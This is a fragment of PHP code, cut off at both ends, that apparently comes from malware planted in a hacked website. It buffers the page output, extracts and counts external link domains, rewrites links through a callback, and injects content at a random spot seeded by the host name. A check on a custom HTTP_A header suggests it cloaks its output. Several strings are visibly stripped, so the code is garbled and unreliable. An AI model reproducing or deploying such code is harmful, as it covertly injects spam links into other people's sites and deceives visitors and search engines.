]*href[\s ]*=[\s ]*[\'\"]?https?:\/\/([^\/]+)\/[^\'\"<>\s ]+|is",$php__data,$php__matches); $php__http_host=str_replace("www.","",strtolower($_SERVER['HTTP_HOST']));$_SERVER["php__domains"]=array(); foreach($php__matches[1] as $php__domain){ $php__domain=strtolower($php__domain);if(strpos($php__domain,$php__http_host)===false) if(!isset($_SERVER["php__domains"][$php__domain])) $_SERVER["php__domains"][$php__domain]=1;else $_SERVER["php__domains"][$php__domain]++; }$php__data = preg_replace_callback("|]*href[\s ]*=[\s ]*[\'\"]?https?:\/\/([^\/]+)\/[^>]*>[^<]+|is","php__callback_func",$php__data); unset($_SERVER["php__domains"]); $pats=array("
","",""); $pat_choice=null; $pat_count=0; foreach($pats as $pat) { $pat_count=substr_count($php__data, $pat); if($pat_count>0) { $pat_choice=$pat; break; } } if($pat_choice!=null){ $srand_seed=php__make_seed($_SERVER["HTTP_HOST"]); $_SERVER["__pat_choice"]=$pat_choice; $_SERVER["__pat_rand"]=rand(1,$pat_count); $_SERVER["__pat_i"]=0; $php__data = preg_replace_callback("|".preg_quote($pat_choice)."|i", "php__pat_callback", $php__data); unset($_SERVER["__pat_i"]); unset($_SERVER["__pat_rand"]); unset($_SERVER["__pat_choice"]); $_SERVER['php__ss_ldata']=''; } /*if(eregi("[^\'\"]]*>",$php__data)) { $php__data=preg_replace("|([^\'\"]]*>)|i","$1\n".$_SERVER['php__ss_ldata'], $php__data); $_SERVER['php__ss_ldata']=''; }*/ return ($_SERVER["HTTP_A"]=="b" ? preg_replace("|